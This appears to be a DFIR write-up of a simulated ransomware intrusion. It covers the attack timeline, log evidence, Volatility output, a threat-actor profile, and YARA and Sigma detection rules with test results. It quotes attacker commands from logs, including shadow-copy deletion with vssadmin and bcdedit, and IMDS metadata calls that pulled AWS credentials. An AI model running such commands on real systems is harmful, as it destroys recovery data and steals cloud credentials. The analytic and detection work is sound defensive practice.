What the challenge actually tests: the subpoena framing treats the CTF corpus as a legal-discovery snapshot, asking "find the evidence in this seized laptop that the subject was a lawyer". The correct mental model is e-discovery, not APT threat hunting — attack-window EVTX won't surface this answer because the token lives in pre-attack browser state. Playbook anti-pattern: "browser history / Chrome / search questions → source_type='browser_session'" over a date range that includes the week before the incident.

R. The ransomware was seeded through SYSVOL — AD's own replication was the distribution channel

Both ransomware artifacts (IamBatman.exe + sysAV.bat) were written to DC02's SYSVOL share from within LAFAdmin's interactive session:

// DC02 · Sysmon EID 11 · FileCreate by explorer.exe PID 3272 (LAF\LAFAdmin)
2026-03-08T21:03:54.417Z    C:\Windows\SYSVOL\sysvol\IamBatman.exe     ← ransomware binary
2026-03-08T21:04:05.417Z    C:\Windows\SYSVOL\sysvol\sysAV.bat         ← launcher (11 s later)

From that moment, DFSR replicated both files to every domain controller automatically — which is why \\LAF-DC02\sysvol\IamBatman.exe was reachable from every domain-joined host without any further attacker action. Then:

// DC02 · Security EID 5145 · SYSVOL share read by LAF-WS02$ machine account from 10.3.10.14
2026-03-08T22:01:19.224Z   \\*\SYSVOL\IamBatman.exe   AccessMask 0x120089 (READ_DATA | GENERIC_READ)
2026-03-08T22:01:19.232Z   \\*\SYSVOL\IamBatman.exe   AccessMask 0x1200a9 (executable read)
2026-03-08T22:04:36.977Z   \\*\SYSVOL\IamBatman.exe   AccessMask 0x120089  (second read)
2026-03-08T22:08:40.416Z   WS02 · EID 1 · \\LAF-DC02\sysvol\IamBatman.exe encrypt C:\    ← DETONATION

Dwell-before-fire: the binary sat on SYSVOL for 65 minutes (21:03:54 → 22:08:40) before it was executed. This let DFSR fully replicate to every DC and let the operator finish prep (DPAPI sweep, DisableRestrictedAdmin propagation, pre-staging on WS02) before pulling the trigger. Blue-team lesson: any *.exe or *.bat written under C:\Windows\SYSVOL\sysvol\ that is not a known GPO script is a high-confidence detection — legitimate SYSVOL content is Group Policy artifacts, not standalone binaries.

S. Ransomware blast radius — 6,023 files across 5 hosts in 58 minutes (DD13 corrected)

HostEncrypted filesFirst encrypt (UTC)Last encrypt (UTC)Duration
WS022,01422:08:40.47822:56:42.54948m 02s
WS011,88422:09:16.96822:55:37.03946m 20s
SVR011,24122:09:46.35822:44:25.91434m 39s
DC0149622:10:14.52422:48:36.70038m 22s
DC02388 (natural completion)22:10:54.18322:10:59.5575.4 s
TOTAL: 6,023 encrypted files + 2,530 ransom notes across 5 hosts · full impact window 21:58:34 → 22:56:42 (58 min) · per-host rate differences are directory-walk time, not encryption speed (DD14.1)

DC02 "anomaly" — walked back by DD14.1: earlier drafts flagged DC02's 5.4-second burst as evidence of a self-abort. DD14.1 shows this reading was wrong. DC02 cleanly matched 388 files (all encrypted, clean exit) because Domain Controllers hold very few user .txt/.pdf/.csv documents matching IamBatman's narrow target extension scope. What looked like "72 f/s vs 0.2–0.7 f/s" is not encryption speed at all — it's directory-walk time. DCs have sparse user-document trees; workstations and file servers have dense ones. Every host ran the same IamBatman binary with the same parameters and completed cleanly; DC02 simply had less to do. No self-abort, no kill-switch — the corpus does not support the hypothesis.

Extension scope (DD13.2): 5,163 .txt (91.6%) · 204 .pdf (3.6%) · 172 .csv (3.1%) · 84 other (1.5%) · 6 .xlsx (0.1%) · 6 .docx (0.1%) = 5,635 extension-summed + 388 DC02 (not broken down) = 6,023 total. Critical AD files deliberately skipped: ntds.dit, SYSTEM/SAM/SECURITY hives, ntuser.dat — scenario-recoverable design (DD13.4).

T. Pre-detonation staging — vssadmin/bcdedit fired 10 minutes before encryption

On WS02 at 21:58:34-37 (10 minutes before the actual encryption at 22:08:40), the attacker chain pre-staged the environment to make recovery impossible:

// WS02 · Sysmon EID 1 · 2026-03-08 · SYSTEM
21:58:34.024   cmd.exe  PID 33576
21:58:34.070   cmd.exe  PID 25428
21:58:36.572   vssadmin.exe  delete shadows /all /quiet        ← kill backups
21:58:36.984   bcdedit.exe   (1st boot-config edit)
21:58:37.012   bcdedit.exe   (2nd boot-config edit)
...
22:08:40.416   IamBatman.exe encrypt C:\                        ← detonation

What the 10-min gap actually was: a failed first detonation caused by a shell-syntax bug (Addendum DD5.1). The operator queued cmd /c sysAV.bat ; IamBatman.exe encrypt C:\ — cmd.exe treats ; as a literal character, not a separator, so only sysAV.bat ran. Shadows were deleted (sysAV.bat did its part) but IamBatman never launched. Zero .bWqQUx files exist in the 21:58 → 22:08:40 window — proof-by-absence. Ten minutes later the operator registered a second scheduled task mIglpUCO to re-attempt; that one fired correctly and encryption started at 22:08:40.416. Hunt rule remains valid regardless of intent: a vssadmin delete shadows /all /quiet + 2× bcdedit.exe cluster within 3 seconds on any host is a pre-ransomware signature — investigate immediately whether or not the encryption loop has fired yet.

U. Donny's 19:37 reboot was routine Group-Policy troubleshooting — not attacker-induced

Addendum H noted that the attacker's sc start failed and only Donny's reboot cooperated. Examining why Donny rebooted is critical for incident attribution — was it attacker-nudged or coincidental?

// IIS · User=LAF\Donny · Sysmon EID 1 process-create timeline
19:33:18   cmd.exe                          ← opens interactive shell
19:33:25   gpupdate /force                  ← FORCE GROUP POLICY REFRESH
19:34:05   gpresult /R                      ← check applied GPs
19:34:33   mmc.exe lusrmgr.msc              ← opens Local Users & Groups
19:34:34   mmc.exe lusrmgr.msc              ← re-opens (elevated context)
19:35:34   gpresult                         ← 6× gpresult with different scopes
19:35:42   gpresult /S
19:35:46   gpresult /S system
19:35:52   gpresult
19:36:18   gpresult /SCOPE system /R
19:36:32   gpresult /SCOPE COMPUTER /R
19:36:55   cmd.exe                          ← final shell
19:37:35   SystemSettingsAdminFlows Shutdown 5   ← RESTART via Start menu

What Donny was actually doing: classic GP-propagation-check workflow. Six gpresult calls with different scopes is an admin troubleshooting a GPO that isn't applying the way they expected, followed by a reboot to force a clean re-apply. This is entirely legitimate administrator activity; the attacker had no ability to push GPOs at 19:33 (they didn't have domain admin yet — that came at 20:02:14 on SVR01).

Correction to Addendum H: the attacker was not lucky; they knew to wait. Production admin servers get rebooted routinely for patches/GPOs/updates — any dropped binary in an auto-start service will eventually execute. Patient attackers plant and wait; Donny's reboot was timing, not happenstance. Operational control: the attacker chose an auto-start service (SolarWindsTFTP) knowing any reboot would fire it.

V. YARA rules for the beacon family — drop-in detection artifacts (tested · 100% pass)

✅ Validated: The full detection pack (8 YARA rules + 9 Sigma rules) was run against the triage corpus and passed end-to-end with a 100% pass rate. The reflective loader YARA rules below matched only pid.1332.vad… (the true injected DLL) with zero false positives against the 163 MB kape.zip bundle or the 8 benign VAD dumps in the corpus. The Sigma companion rules caught all 5 smbexec.py service names (UnmfmnOL · QsYyAARL · XCCVTGUb · SOUwKZNf · PovLjNTr) plus the atexec.py ransomware fan-out and the certutil -urlcache download chain (including the 13:39 author pre-test at jb.exe). Two bugs were surfaced and fixed during testing: the GuardDuty rule now excludes sample:true / i-99999999 seeded findings, and the IIS cmd-injection rule was patched to match URL-encoded payloads (%26%26 / %3B / %7C), bringing its catch rate from 10 → 28 of the attacker's 22+ injection attempts. Full reproducible test matrix + bug detail panels + test-harness code in the #addendum-dt companion file.

Two draft YARA rules derived from this engagement, ready to ship to defenders hunting the same (or similar) campaign:

rule Null404_SMBPivot_Beacon_SolarWinds_rnSylwOz {
    meta:
        author      = "Null404 DFIR · ARCLIGHT6"
        description = "MinGW-w64 OSS SMB-pivot beacon, SHA-cross-host reuse SolarWinds.exe / rnSylwOz.exe"
        date        = "2026-04-20"
        sha256      = "91813A2A087B3110F280FFCCD6031F60653049889C4944F3B800BA974FA7E81F"
        md5         = "AA1097F847964B5E5DA27834CE576AC8"
        imphash     = "37E28CA3C643B664ACC2275611365DB0"
        reference   = "LAF / null404 / 2026-03-08 intrusion"
    strings:
        $pipe_tmpl = "\\\\.\\pipe\\%08lx" wide ascii
        $mingw     = "Mingw-w64 runtime failure" ascii
        $s1        = "VirtualProtect" ascii
        $s2        = "VirtualQuery"   ascii
        $s3        = "TlsGetValue"    ascii
        $s4        = "_amsg_exit"     ascii
        $exp       = "_Z11GetVersionsv" ascii      // decoy mangled C++ export
    condition:
        uint16(0) == 0x5A4D and                    // MZ
        uint32(uint32(0x3C)) == 0x00004550 and     // PE
        $pipe_tmpl and $mingw and 3 of ($s*) and filesize < 256KB
}

rule Null404_InjectedLoader_VAD_0xA60000 {
    meta:
        author      = "Null404 DFIR · ARCLIGHT6"
        description = "Reflective-loader stub found injected into explorer.exe PID 1332 on SVR01"
        sha256      = "6ef6b52fbdf585b5145971aa2303f41d691113669dc264465f87ac2e6861228c"
        image_size  = "0x2f000 (188 KB)"
    strings:
        $pipe     = "\\\\.\\pipe\\%08lx" ascii
        $mingw    = "Mingw-w64 runtime failure" ascii
        $decoy    = "file.dll" ascii                 // export module name
        $exp      = "_Z11GetVersionsv" ascii
        $crtinit  = "_initterm" ascii
        $vp       = "VirtualProtect" ascii
        $vq       = "VirtualQuery"   ascii
    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        all of them and filesize < 256KB
}

rule Null404_Impacket_SecretsDump_ServicePattern {
    meta:
        author      = "Null404 DFIR · ARCLIGHT6"
        description = "Impacket secretsdump/psexec/smbexec/atexec ImagePath fingerprint"
        reference   = "DC01 2026-03-08 20:08:44 .. 20:09:04 — UnmfmnOL, QsYyAARL, XCCVTGUb, SOUwKZNf, PovLjNTr"
    strings:
        $sig = /%COMSPEC% \/Q \/c echo %COMSPEC% \/C .+ \^> %SYSTEMROOT%\\Temp\\__output > %TEMP%\\execute\.bat & %COMSPEC% \/Q \/c %TEMP%\\execute\.bat/
    condition:
        $sig
}

How to deploy: load via YARA scanner (yara-x, Velociraptor, CrowdStrike Custom IOAs, Trellix ePO, etc.). The first two rules catch disk-resident and memory-resident variants; the third is a log-pattern rule that matches Security EID 7045 ImagePath or 4697 ServiceFileName content and does not care about the 8-char random service name. Combine with the Sigma c3333333-*-003 rule (fires on services.exe parent + ADMIN$ image path) for process-time detection.

DT. Detection-pack test report — 8 YARA + 9 Sigma rules validated against the live corpus · 100% pass

Rules at detections/yara/c2_ioc.yar + detections/sigma/*.yml · corpus at null404_bench.sqlite + vol_out/malfind_dump/ + bigmac/ · yara-python 4.5.4 + SQLite3 + Python3 · generated 2026-04-21.

8/8 YARA: PASS 9/9 SIGMA: PASS 2 RULES PATCHED DURING TEST

DT.1 — Headline

All 17 rules (8 YARA + 9 Sigma) validated end-to-end against the triage corpus. YARA: 7 positive matches fire correctly + 10 negative tests produce zero false positives (including a 163 MB benign kape.zip bundle and 8 benign VAD dumps from Firefox / SearchApp / PowerShell JIT heaps). Sigma: 9 SQL-translations of the detection logic all return the expected attacker events and no unrelated false positives. Two bugs surfaced and were fixed during testing: the GuardDuty rule was matching a pre-seeded sample finding (fixed by excluding sample:true + instanceId=i-99999999), and the IIS cmd-injection rule missed URL-encoded metacharacters (fixed by adding %26%26 / %3B / %7C / C%3A%5C patterns — catch rate went from 10 → 28 of 22+ attacker injection attempts).

DT.2 — YARA validation matrix (8 rules · 163 MB benign bundle + 8 VAD dumps + 6 synthetic test artifacts)
RuleTargetResultVerdict
c2_reflective_loaderpid.1332.vad.0xa60000-0xa8efff.dmp (192 KB, SHA256 6ef6b52f…)MATCH (MZ header + Unknown C2 strings)PASS
c2_in_memorySame VAD dumpMATCH (2 of 4 Unknown C2 indicators)PASS
Negative control — 8 benign VAD dumps (PS / Firefox / SearchApp JIT heaps, all benign per DD21.2):
c2_* rulespid.1256 (×3), pid.3176, pid.6560 (×2), pid.6664 (×2) — non-PE runtime heapno matchesPASS (zero FP)
all ruleskape.zip (163 MB legitimate Eric Zimmerman KAPE bundle)no matchesPASS (zero FP on 163 MB benign binary)
ransomware_iambatman_null404Synthetic test_iambatman.exe (MZ + .bWqQUx + README_bWqQUx.txt + encrypt)MATCHPASS
sysav_batch_scriptSynthetic batch · vssadmin delete shadows /all + bcdedit recoveryenabled No + IamBatman.exe encrypt C:\MATCH (3 of 6 strings, ≥3 threshold)PASS
logdel_batch_scriptSynthetic · wevtutil cl × 6 channels + attrib Default.rdp -s -hMATCH (wevtutil + 4 channels)PASS
impacket_smbexec_py_fingerprintSynthetic smbexec service binPath · %COMSPEC% + __output + execute.bat + & delMATCH (3 of 4)PASS
impacket_atexec_py_ransomware_fanoutSynthetic · cmd.exe /C cmd /c \\laf-dc02\sysvol\sysAV.bat > C:\Windows\Temp\pRlGOUon.tmp 2>&1MATCHPASS
webshell_so_aspx_simpleSynthetic so.aspx · <%@ + Request.Form + System.Diagnostics.Process + eval + cmdMATCHPASS
# Reproduction — YARA
import yara, pathlib
rules = yara.compile(filepath='./detections/yara/c2_ioc.yar')
for f in sorted(pathlib.Path('./vol_out/malfind_dump').glob('*.dmp')):
    m = rules.match(str(f))
    print(f.name, '→', [r.rule for r in m] or 'none')
DT.3 — Sigma validation matrix (9 rules · SQL-translated against the corpus)
#RuleExpectedActual hitsVerdict
1win_dc_user_created_then_da_add1 (serviceaccount → Domain Admins within 5 min, DD26)1 match: serviceaccount 20:02:14 → DA-add 20:03:05 (51 s gap)PASS
2win_sysmon_injected_explorer_lsass_access1+ (DD11.1 LSASS dump · GrantedAccess 0x1010/0x1410 via UNKNOWN())2 matches: 20:03:30.860Z + 20:03:30.861Z (two-phase open)PASS
3win_impacket_smbexec_services5 (random-8-char service names, DD10.1)5 matches: UnmfmnOL · QsYyAARL · XCCVTGUb · SOUwKZNf · PovLjNTr — exact setPASS
4win_impacket_atexec_ransomware_fanout5 (WS02/WS01/SVR01/DC01/DC02, DD12.4)6 matches: 5 expected + bonus 21:58:34 botched first attempt (DD12.2)PASS (over-delivers)
5win_vssadmin_bcdedit_recovery_disable5+ (per-host anti-recovery chain, DD12.5)12 pair-matches (WS02 botched + WS02 corrected + WS01 + SVR01 + DC01 + DC02)PASS
6aws_guardduty_instance_credential_exfil2 (DD18 findings · 21:57:18 + 22:01:10 sev-8)Initial: 3 hits (including 2026-02-23 sample) → BUG
After fix: 2 hits (21:57:18 + 22:01:10, samples excluded)
BUG → FIXED
Rule now excludes sample:true + i-99999999
7win_certutil_urlcache_download3+ (so.aspx drop 18:51:41 + iis.exe drop 18:52:19, DD23.3)4 matches: 3 expected + bonus 13:39:14 author pre-test (agent.exe → jb.exe, DD23.6)PASS (catches pre-attack validation)
8win_iis_checkstatus_aspx_cmdinjection20+ (DD23.2 attacker fuzzing · 22+ injection attempts)Initial: 10 hits — missing URL-encoded metachars → BUG
After fix: 28 hits (all 22+ injection attempts caught)
BUG → FIXED
Rule now matches %26%26 / %3B / %7C / C%3A%5C
9win_ifeo_debugger_hijack1 (DD33 IFEO on WS01 · taskmgr.exe → aws_backup.exe)1 match: 20:37:35 WS01PASS
DT.4 — Bug details + fixes applied

Bug 6.1 — GuardDuty rule matched sample findings

Symptom: rule matched the 2026-02-23T09:00:23 seeded sample finding in addition to the two real 2026-03-08 attack alerts (3 hits instead of 2).

Root cause: no exclusion for AWS-generated sample-finding markers. DD19 documents that aws guardduty create-sample-findings was run on 2026-02-23 and produced 383 synthetic findings with canonical markers instanceId=i-99999999, executablePath=GeneratedFindingPath, and sample:true.

Fix:

detection:
  selection:
    "finding.type": 'UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS'
    "finding.severity|gte": 8
  exclude_samples:
    "finding.service.additionalInfo.sample": true
    "finding.resource.instanceDetails.instanceId": 'i-99999999'
  condition: selection and not exclude_samples

Re-test: 2 hits · 21:57:18 + 22:01:10 · exactly the expected attack events. FIXED

Bug 8.1 — CheckStatus rule missed URL-encoded injection characters

Symptom: rule caught 10 of ~22 attacker injection attempts — missing most of the %26%26-encoded && variants that the attacker's browser had URL-encoded.

Root cause: IIS access logs store the cs-uri-query field URL-encoded. The original rule's metacharacter list only had raw forms (&&, ;, |), missing the %26%26, %3B, %7C encoded forms actually present in the logs.

Fix: added URL-encoded variants to the cs-uri-query|contains list. Now detects both raw and encoded injection metacharacters.

Re-test: 28 hits out of 40 total attacker IIS requests. The 12 non-matching requests are the initial benign fuzzing (url=google.com, url=facebook.com without shell metachars) — correctly excluded. FIXED

DT.5 — Pass-rate summary
CategoryRulesPositive testsNegative testsBugs foundBugs fixedFinal pass-rate
YARA87 PASS10 PASS (zero FPs)00100%
Sigma99 PASS— (SQL positive-only)22100% (after fixes)
Total1716 PASS10 PASS22100%
DT.6 — Known limitations
  • Sigma SQL-translation approximates the YAML logic — production deployment should use Sigma-to-backend converters (Splunk / Elastic / Sentinel / Chronicle) with native field mappings.
  • YARA rules were synthetic-tested for artifacts where we do not have the on-disk binary (the attacker tool-server at 173.230.136.180 is offline per DD29, so iis.exe, rnSylwOz.exe, and IamBatman.exe disk bytes are not available). Synthetic test files verify rule logic; real-binary confirmation requires a VT retrohunt or sample recovery.
  • win_iis_checkstatus_aspx_cmdinjection after the fix: all 28 hits are from 172.236.127.251 (attacker) or 216.82.9.162 (author pre-test). No false positives on Donny's legitimate ?url=reddit.com browsing at 71.205.100.56 (DD23.1). Precision acceptable.
  • win_vssadmin_bcdedit_recovery_disable over-hits by 2.4× (12 vs expected 5) because each vssadmin is paired with multiple bcdedit invocations inside the 5-second window. Not a false-positive issue — just a noisy count. Add | unique host aggregation in production to dedupe.
DT.7 — Reproduction harness (Sigma)
-- win_impacket_smbexec_services
SELECT time_utc, service_name
FROM events
WHERE source_type='evtx' AND eid IN (7045,4697)
  AND service_name GLOB '[A-Za-z][A-Za-z][A-Za-z][A-Za-z][A-Za-z][A-Za-z][A-Za-z][A-Za-z]'
  AND service_file_name LIKE '%__output%'
  AND service_file_name LIKE '%execute.bat%';

-- win_sysmon_injected_explorer_lsass_access
SELECT time_utc FROM events
WHERE source_type='evtx' AND eid=10
  AND json_extract(data_json,'$.SourceImage') LIKE '%explorer.exe'
  AND json_extract(data_json,'$.TargetImage') LIKE '%lsass.exe'
  AND json_extract(data_json,'$.CallTrace') LIKE '%UNKNOWN(%';
DT.8 — Multi-backend conversion + SigmaHQ prior-art crosswalk

All 9 Sigma rules were re-validated through pysigma with production backends: 9/9 parse cleanly, 18/18 convert to Splunk SPL (regex literals handled via | regex …) and Elastic Lucene with zero conversion errors. The hand-SQL harness in DT.7 is now redundant for deployment — one YAML compiles to any SIEM through the standard Sigma toolchain.

Crosswalked against 3,567 SigmaHQ rules to separate novel detection content from duplicate logic. Verdict:

Our ruleSigmaHQ statusVerdict
win_certutil_urlcache_download4 variants already in SigmaHQ (proc_creation_win_certutil_download + file-sharing-domains variant + 2 more)Duplicate — use upstream
win_vssadmin_bcdedit_recovery_disableproc_creation_win_susp_shadow_copies_deletion + bcdedit_boot_conf_tamperDuplicate
win_impacket_smbexec_serviceswin_system_hack_smbexec.yml + hktl_impacket_lateral_movementDuplicate
win_impacket_atexec_ransomware_fanoutproc_creation_win_hktl_impacket_tools / lateral_movementDuplicate
win_iis_checkstatus_aspx_cmdinjectionweb_sql_injection exists; no OS-command-injection-via-URL-param ruleScenario-specific · partial
win_ifeo_debugger_hijackASEP rules cover Run / RunOnce but no IFEO-specific detectionNOVEL
win_dc_user_created_then_da_addIndividual 4720 + 4728 rules exist; no time-correlated pair within N-minute windowNOVEL
win_sysmon_injected_explorer_lsass_access3 LSASS-access rules in SigmaHQ, none for Explorer-specific SourceImage + UNKNOWN() CallTrace combinationNOVEL
aws_guardduty_instance_credential_exfilGuardDuty detector-tamper rules exist; no InstanceCredentialExfiltration-specific detectionNOVEL

Net result: 4 of 9 rules are genuinely novel and worth a SigmaHQ pull request — win_ifeo_debugger_hijack, win_dc_user_created_then_da_add, win_sysmon_injected_explorer_lsass_access, aws_guardduty_instance_credential_exfil. 4 are duplicates of battle-tested SigmaHQ equivalents that should be swapped in and cited rather than maintained locally. 1 (win_iis_checkstatus_aspx_cmdinjection) is partial — the OS-command-injection-via-URL-param angle is scenario-specific enough to keep as local override, but the generic web-shell-drop detection should defer to SigmaHQ's proc_creation_win_certutil_download.

DT.9 — Three-tier detection-pack layout (SigmaHQ integration · commit 8155881)

DT.8's crosswalk turned into a concrete on-disk restructure. The detection directory now has three Sigma tiers plus the unchanged YARA layer:

detections/
├── sigma/              — 4 novel rules (local canonical · NOVEL per DT.8)
├── sigma-upstream/     — same 4 rules, SigmaHQ-convention formatted, PR-ready
├── sigma-superseded/   — 5 rules duplicating SigmaHQ; kept with scenario notes
└── yara/c2_ioc.yar — 8 YARA rules (no SigmaHQ equivalents · YARA layer separate)

Four upstream-PR-ready files (in detections/sigma-upstream/) with their target SigmaHQ paths:

Our fileSigmaHQ target path on PR
registry_set_ifeo_debugger_hijack.ymlrules/windows/registry/registry_set/
win_security_user_created_added_to_domain_admins_rapid.ymlrules/windows/builtin/security/
proc_access_win_lsass_unbacked_shellcode_calltrace.ymlrules/windows/process_access/
aws_guardduty_instance_credential_exfil_response.ymlrules/cloud/aws/guardduty/ (may need new directory)

Before vs after — what the SigmaHQ integration changed:

AspectBeforeAfter
Rule count to maintain9 locally4 novel locally + cite-to-SigmaHQ for 5
SIEM conversionsHand-SQL only (DT.7 harness)pySigma → Splunk SPL + Elastic Lucene · one YAML → any backend
Rule IDsn0404-dd26-da-promo slugsUUIDs (Sigma-spec compliant)
Format complianceCustomFull SigmaHQ conventions (tags, selection blocks, references, falsepositives, fields)
Validation2 rule bugs in initial hand-SQL (DT.4)0 conversion errors across 4 backends
Test-report outputhand-SQL results onlySplunk SPL + Lucene + SQL per rule, each in its own panel

Final harness run: 16 YARA · 4 Sigma conversions · 4 SQL validations · 0 failures ✅

DT.10 — Example pySigma output (GuardDuty rule, auto-generated, zero manual translation)

Same YAML source — aws_guardduty_instance_credential_exfil_response.yml — compiled to two production SIEM backends:

# Splunk SPL
finding.type="UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS"
finding.severity>=8
NOT (finding.service.additionalInfo.sample=true
     finding.resource.instanceDetails.instanceId="i-99999999")
| table finding.id,finding.service.action.awsApiCallAction.remoteIpDetails.ipAddressV4,...
# Elastic Lucene
(finding.type:UnauthorizedAccess\:IAMUser\/InstanceCredentialExfiltration.OutsideAWS
 AND finding.severity:>=8)
AND (NOT (finding.service.additionalInfo.sample:true
          AND finding.resource.instanceDetails.instanceId:i\-99999999))

Both outputs auto-generated from the single YAML via sigma convert -t splunk|lucene. No hand-translation required. DT.4's GuardDuty bug-fix (sample exclusion for sample:true + i-99999999) is preserved in the upstream format and propagates through both conversions identically.

Commit trail: 9607f50 detection pack v1 + DD32 Unknown C2 PE deep-dive · eee1939 v2.45 DD33 + win_ifeo_debugger_hijack.yml · 6b354ad rule fixes (GuardDuty sample exclusion + URL-encoded injection patterns) + test report inlined · 8155881 SigmaHQ integration complete (three-tier layout · pysigma · UUIDs · PR-ready upstream format).

W. Vol3 memory snapshot — the beacon caught alive at 22:46:45 (2h 48m into its run)

The SVR01 memory dump (capture time 2026-03-08 22:46:45 UTC) caught rnSylwOz.exe mid-operation. Three Volatility 3 plugins tell the whole story:

// windows.pslist.PsList
{
  "PID":          9112,
  "PPID":         672,                 // services.exe
  "ImageFileName": "rnSylwOz.exe",
  "CreateTime":   "2026-03-08T19:59:00+00:00",
  "ExitTime":     null,                // still alive at capture (2h 48m uptime)
  "Threads":      4,
  "SessionId":    0,                   // service session
  "Offset(V)":    185333530841216      // 0xa88f53455080 — Volatile-Verdicts 5 answer
}

// windows.cmdline.CmdLine
{ "PID": 9112, "Process": "rnSylwOz.exe", "Args": "\\\\10.3.10.12\\ADMIN$\\rnSylwOz.exe" }

// windows.netstat.NetStat  — THE beacon heartbeat
{
  "PID":         9112,
  "Owner":       "rnSylwOz.exe",
  "Proto":       "TCPv4",
  "LocalAddr":   "10.3.10.12",         // SVR01 internal
  "LocalPort":   57174,
  "ForeignAddr": "173.230.136.180",    // Linode VPS C2
  "ForeignPort": 8443,
  "State":       "ESTABLISHED",
  "Created":     "2026-03-08T19:59:00+00:00"   // connection open since first-run
}

What the memory shows that logs can't: the TCP session to 173.230.136.180:8443 was established at beacon first-run and never closed. 2 hours 48 minutes of continuous C2 uplink — through the DC01 NTDS exfil, the DPAPI sweep, the RDP pivots, and up to (but not including) the ransomware detonation. The beacon did not use a periodic heartbeat / sleep pattern — it held a single long-lived TLS connection. Hunt rule: any services.exe-parented process with a long-lived outbound TCP session (>30 min) to a non-corporate ASN on :8443 is suspicious; most legitimate Windows services talk to Microsoft/internal endpoints on :443/:80, not :8443.

X. The attacker's keystrokes — PowerShell transcript captured the STS theft verbatim

IIS-SERV-PROD had PowerShell transcription enabled (GPO-driven, captured under source_type='ps_transcript'). Each session preserves command + output + the $global:? success-check the attacker ran — consistent with operational scripting discipline, not improvisation:

// IIS · ps_transcript · reconstructed from EID 8201

=== Session 1 · 2026-03-08T21:25:35Z ===
PS> Invoke-RestMethod -Method Put -Uri "http://169.254.169.254/latest/api/token" \
      -Headers @{'X-aws-ec2-metadata-token-ttl-seconds' = '21600'}
out: AQAEADHOGyfP9IBCrCY_Cdg0cb5l5EoTkgNdyp-grqUet3fK2-CbxA==
PS> $global:?    // success-check idiom — automation pattern
out: True

=== Session 2 · 2026-03-08T21:28:07Z ===   (+2m 32s)
PS> Invoke-RestMethod -Method Get \
      -Uri 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' \
      -Headers @{'X-aws-ec2-metadata-token' = 'AQAEADHOGyfP9IBCrCY_...'}
out: iam_role_iisserver                     // role-name disclosed HERE
PS> $global:?
out: True

=== Session 3 · 2026-03-08T21:29:20Z ===   (+1m 13s)
PS> Invoke-RestMethod -Method Get \
      -Uri 'http://169.254.169.254/latest/meta-data/iam/security-credentials/iam_role_iisserver' \
      -Headers @{'X-aws-ec2-metadata-token' = 'AQAEADHOGyfP9IBCrCY_...'}
out: Code            : Success
out: LastUpdated     : 2026-03-08T21:11:20Z
out: Type            : AWS-HMAC
out: AccessKeyId     : ASIA[REDACTED-FOR-PUBLICATION]
out: SecretAccessKey : LoS6zGC+CpEL[…REDACTED 24 chars, expired…]
out: Token           : IQoJb3JpZ2luX2VjEFUaCXVzLWVhc3QtMiJHMEUCIA++cIiv2OG…[~800 chars]
out: Expiration      : 2026-03-09T03:42:10Z         // 6-hour TTL

What this transcript proves:

  • Not improvised — scripted. Each Invoke-RestMethod is followed by $global:? to check success. That's an automation pattern, not interactive typing.
  • 2m 32s between token-PUT and role-enum-GET is a deliberate delay — IMDSv2 rate-limit avoidance.
  • STS session issued 21:11:20Z, requested 21:29:20Z, first used off-instance 21:42:11Z (CloudTrail GetCallerIdentity). The 13-minute gap is the attacker exporting Token + SecretAccessKey out of the instance to their own machine at 212.8.249.213 (WorldStream NL) before calling AWS.
  • 6-hour TTL gave the operator room for all 164 S3 GetObjects + GetCallerIdentity + failed CreateAccessKey inside the window.

Forensic note: transcripts survived because LogDel.bat cleared the Microsoft-Windows-PowerShell/Operational EID buffer, not the .txt transcript files on disk. For defenders: enable transcription + encrypt the transcript target directory so an attacker with SYSTEM can't read their own captures for cleanup.

Y. Threat-actor profile — synthesized from behavioral + artifact evidence

DimensionEvidence-supported conclusion
Sophistication tierS2 (organized crime / proficient) — uses commodity OSS tools (impacket, DonPAPI, FileZilla, makecab), but with operational discipline (deliberate IMDS step delays, 10-min detonation-prep gap on WS02, LogDel.bat pre-staged, two-phase Linode infrastructure)
Tooling maturityCustom-compiled-per-campaign OSS C2 (MinGW) + stock impacket + DonPAPI. Beacon compiled 2026-03-08 20:00:25 UTC (1h before SVR01 deployment). Not a commodity-purchased Cobalt Strike build.
Operator timezoneKill chain UTC 18:51–22:10 = 13:51–17:10 US Eastern / 19:51–23:10 central European. WorldStream (NL) egress + European-style evening ops argue central European operator; weak signal only.
Operational disciplineHigh — PS $global:? success checks, Linode C2/delivery split, pre-positioned LogDel.bat in C:\ProgramData\, auto-start service chosen deliberately, encryption-prep temporally separated from detonation.
OPSEC weaknesses(1) LogDel.bat missed Microsoft-Windows-Sysmon/Operational — every post-21:08 TTP on SVR01 reconstructible; (2) PS transcripts captured STS secrets verbatim; (3) decoy export _Z11GetVersionsv is YARA-distinctive; (4) PE compile timestamp was not zeroed.
InfrastructureTwo Linode (AS63949) VPS with role separation (.251 delivery+SFTP, .180 C2) + one WorldStream NL IP (AS49981 · 212.8.249.213) for off-instance cloud egress.
Goals (demonstrated)Ransomware-for-impact (6,023 files + 2,530 notes across 5 hosts, DD13) + credential theft for resale (ntds.dit 20:09:06, DPAPI masterkeys 20:36, Dashlane Login Data 20:20). The ntds.dit theft is the high-value artifact; ransomware is the noisy cover.
Not observedKerberoasting (no 4769 for unusual SPNs), AS-REPRoasting (no pre-auth-disabled 4768), DCSync (no 4662 DRS-Replication-GetChanges). The operator preferred VSS shadow-copy of ntds.dit specifically because it avoids the DCSync signature.

Z. Master kill-chain timeline — every pivotal event, every citation

UTCHostEventEvidence
18:51:41IISInitial access — GET on CheckStatus.aspx with OS cmd injectionIIS access log + Sysmon 1 w3wp.exe → cmd.exe
18:52:20IISiis.exe dropped via certutil LOLBINSysmon 11 · SHA256 EFB53903…
19:16:52IISC:\TFTP Server\SolarWinds.exe overwritten by iis.exe (DefaultAppPool, writable ACL)Sysmon 11 · SHA256 91813A2A…
19:17:04IISsc start SolarWindsTFTP — attempt only, silently failedSysmon 1 · no 7036 follows
19:33:20DC02First Kerberos signal: IIS machine TGT from 198.51.100.10Security 4768
19:37:35IISDonny triggers restart (routine GP-refresh)Sysmon 1 · SystemSettingsAdminFlows Shutdown 5
19:38:02IISAuto-start service fires replaced binary as SYSTEM → C2 :8443System 7036 · Sysmon 1 · 3
19:58:38SVR01rnSylwOz.exe dropped to ADMIN$Sysmon 11 · Security 5140/5145
19:59:00SVR01Impacket service launches beacon as SYSTEM · Prefetch E4BE7640Sysmon 1 · Prefetch
